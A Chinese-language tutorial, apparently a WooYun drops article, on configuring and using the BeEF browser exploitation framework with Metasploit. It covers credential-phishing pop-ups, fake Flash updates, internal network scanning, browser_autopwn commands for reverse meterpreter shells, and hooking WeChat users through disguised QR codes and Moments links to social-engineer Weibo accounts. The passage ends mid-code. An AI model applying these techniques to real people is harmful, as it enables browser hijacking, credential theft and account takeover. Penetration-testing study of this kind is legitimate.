# 浏览器利用框架BeEF测试
0x00 前言
=======
* * *
BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 目前对其测试的文章不是很多,所以希望通过本次测试给大家带来全新的认识。

0x01 简介
=======
* * *
工具主页:[http://beefproject.com](http://beefproject.com/)
工具框架:

0x02 测试环境
=========
* * *
攻击主机:
```
操作系统:Kali 1.0
IP:192.168.16.245
```
测试主机:
```
操作系统:Win7x86
IP:192.168.16.197
```
路由器:
```
WooyunWifi
开启JS注入功能
```

**_Tips:_**
```
WooyunWifi开启JS注入功能后会对用户访问的页面加入JS代码,如果JS代码设置成如下格式,那么运行后会在BeEF控制端返回一个shell
document.write("");
默认情况下JS注入附带缓存投毒功能,将视图缓存所有的页面至2099年,但可以通过清除所有缓存及浏览数据来清除缓存投毒的影响。
```

0x03 BeEF参数配置
=============
* * *
BeEF在Kali下默认安装,直接找到对应图标启动即可,但是默认设置未同Metasploit关联,无法使用msf模块,因此需要作如下配置连接msf
1、修改config.yaml
---------------
编辑
`/usr/share/beef-xss/config.yaml`
```
metasploit:
enable: false改为true
```

编辑
`/usr/share/beef-xss/extensions/demos/config.yaml`
```
enable:true改为false
```
编辑
`/usr/share/beef-xss/extensions/metasploit/config.yaml`
```
设置
ssl: true
ssl_version: 'TLSv1'
```

2、启动msf服务
---------
```
service postgresql start
service metasploit start
msfconsole
load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y
```
3、运行BeEF.rb
-----------
```
cd /usr/share/beef-xss/
/usr/share/beef-xss/beef
```
(启动后不要关闭,不然登录界面会提示密码错误)

4、启动BeEF
--------
弹出浏览器,输入默认用户名口令beef,即可登陆
主界面如图

0x04 功能介绍
=========
* * *
对基本功能做全面介绍,高级用法以后会做补充
1-信息收集
------
**1、浏览器信息**可收集:
```
浏览器名称版本
浏览器用户版本
插件(包括Java,ActiveX,VBS,Flash……)
窗口大小
```
收集方法:
(1)自动默认收集信息
如图

(2)插件收集信息
如图

**_Tips:_**
```
模块图标不同颜色对应不同的使用效果
绿色:适用当前浏览器
橙色:适用当前浏览器,但易被用户发现,social engineering模块默认为橙色
红色:不适于当前浏览器,但仍可尝试
```
**2、系统信息**
可收集:
```
安装的软件(适用于IE下,Detect Software模块)
注册表键值(适用于IE下,此时会弹出提示消息)
内网IP(Java模块得到授权)
系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式)
定位(通过Google maps)
剪贴板信息(会弹出提示消息)
```
如图



**3、用户行为**
可收集:
```
用户是否访问过某URL、domain
是否登录特定网站账号
是否使用TOR
```
如图

2-社会工程
------
如果使用BeEF控制了浏览器,那么就可以修改整个页面来尝试社会工程学
**1、提交登录信息**
简单粗暴往往是最有效的
**Pretty Theft模块:**
在网页弹出诱骗消息需要用户输入登录和密码,并解释该会话已超时
选择的登录框模板,如图

配置后用户浏览器界面,如图

当用户输入信息后,自动获取,如图

**Simple Hijacker模块:**
劫持网页上面的所有链接,当用户点击任意链接时弹出诱骗消息,如果用户接着点击会跳转到指定域名
如图


**Clippy模块:**
创建一个浏览器助手提示用户点击
如图

**2、重定向**
**Rediret Browser模块:**
将当前页面重定向至指定页面,有可能导致当前权限丢失
**Rediret Browser(iframe)模块:**
将当前页面重定向至指定页面,,同时保留当前连接,可以维持当前浏览器权限
如图


**TabNabbing模块:**
当检测用户不在当前页面时启动定时器,倒计时结束后自动重定向至指定页面
如图

**3、Chrome/Firefox extensions**
**Fake Flash Update模块:**
提示用户安装Adobe Flash Player的更新,用户点击后会下载指定文件
如图

**Chrome Extensions 系列:**
值得尝试

**4、补充**
**Clickjacking模块:**
可以使用multi-click clickjacking,判断当前用户鼠标位置,在不同位置可触发不同JS代码
如图,鼠标后面跟随一个iframe


3-网络扫描
------
通过JavaScript,可以尝试利用浏览器扫描内网
**1、获取内网IP**
**Get Internal IP WebRTC模块:**
通过WebRTC获取内网IP
**Get Internal IP模块:**
通过Java Socket class获取内网IP
**2、识别局域网子网**
识别内网网关,如图

**3、识别HTTP Servers**
识别内网web servers
**4、ping操作**
调用ping命令扫描内网
**Ping Sweep模块 Ping Sweep (Java)模块**
如图

**5、跨域扫描**
**6、DNS枚举**
如图

**7、端口扫描**
**Port Scanner模块**
如图


**8、网络指纹特征扫描**
用来扫描内网中的Web服务器和网络设备
**Fingerprint Network模块**
如图

**9、Remote CSRFs**
**10、IRC NAT Pinning**
模拟浏览器的IRC通信,可用来绕过防火墙
**11、网络拓扑**
BeEF可根据扫描获得的信息绘制内网网络拓扑 如图



此部分会在以后详细介绍
4-结合Metasploit
--------------
**1、Metasploit系列模块**
如图

**2、Browser Autopwn**
反弹回meterpreter
方法:
**(1)**使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL
```
use auxiliary/server/browser_autopwn
show options
set LHOST 192.168.16.245
set SRVHOST 192.168.16.245
set SRVPORT 8881
run -z
```
生成一个链接,如图


**(2)**使用"Create Invisible Iframe"模块加载autopwn页面
如图

**(3)**等待弹回shell
```
sessions -l
```
5-Tunneling
-----------
代理功能
方法:
**1、**选择控制的浏览器
如图

**2、**浏览器代理设置
HTTP Proxy:127.0.0.1
Port:6789
如图

细节以后补充
**3、**访问同样网站,查看本机浏览器页面同被控浏览器页面内容是否相同(即不需要cookie可实现登录账号)
6-XSS
-----
如图

细节以后补充
7-维持权限
------
**1、Create Pop Under模块**
创建一个新窗口,如图

反弹一个新权限,如图

**2、Confirm Close Tab模块**
当用户关闭当前页面时,反复弹出确认是否关闭页面的消息
**3、Create Foreground iFrame模块**修改当前页面所有链接来避免离开当前页面
比如用户点击某个连接,会将新页面显示在当前页面上面,注意的是网址不会发送改变,如图:

正常访问的页面为:(注意看地址栏)

**4、Man In The Browser模块**
可拦截修改页面内所有链接,当用户点击当前页面的任意链接后仍可维持权限(必须是同源的页面)
如果用户手动更改URL地址栏,无法维持权限
0x05 小结
=======
* * *
本文仅对BeEF的基本功能做了全面介绍,更多高级技巧很值得研究,例如利用BeEF内网渗透,利用代理不通过cookie登陆账户突破IP限制绑定等等。
测试过程难免会有疏忽遗漏,理解错误的地方欢迎指正,共同进步。
本文由三好学生原创并首发于乌云drops,转载请注明
0x06 补充
=======
* * *
对手机平台的微信使用BeEF进行模拟测试
手机系统:
```
Android
```
1、上线方法:
-------
**1、扫描二维码**
扫描后在BeEF控制端看到手机上线,如图

对此页面进行Google Phishing欺骗,如图

**注:**
在微信上面特别的地方在于此处无法看到包含的真实URL地址
**2、朋友圈分享**
将BeEF的上线地址做一下简单的伪装并分享到朋友圈,如图

在朋友圈中同样无法看到包含的真实URL地址,打开即为BeEF的hook页面,如图

**3、朋友发来的链接**
将此消息直接发给朋友,如图

我们可以看到伪造前的URL地址
**注:**
BeEF的hook页面可以自定义成更具欺骗性的内容,这是为了演示方便使用默认界面
2、微信浏览器被Hook后可以做哪些操作
--------------------
也许有人会提出疑问:手机打开网址持续的时间很短,关闭当前页面后BeEF的shell就会下线
**解决方法:**
使用BeEF API,用户上线后能够自动执行批量命令,结合Persistence模块能够极大提高shell存活时间
除了与windows系统相关的信息无法获取,其他操作均能成功执行,并且BeEF为手机劫持提供了专门的模块系列——Phonegap,如图

以下是经测试可以在Android上使用的模块:
```
1、弹框
2、重定向
3、查看是否访问过某些网站
4、Creates an invisible iframe
5、Social Engineering系列,如下图,仅作演示
6、msf系列
7、NetWork系列,可以用来扫描同一内网下的windows主机
```

**注:**
加载hook页面后,将手机屏幕关闭处于待机状态,BeEF仍然可以执行指令,或许这与手机系统相关,值得以后深入测试。
0x07 利用朋友圈投票社工微博帐号实例
====================
* * *
1、伪造BeEF的hook页面
---------------
**1、寻找模板**
随机找到一个投票的页面,保存为html
```
http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd
```
**2、替换hook页面**
在`use/share/beef-xss/extensions/demos/html`目录下,将上述html文件命名为basic.html并添加以下代码
```
var commandModuleStr = '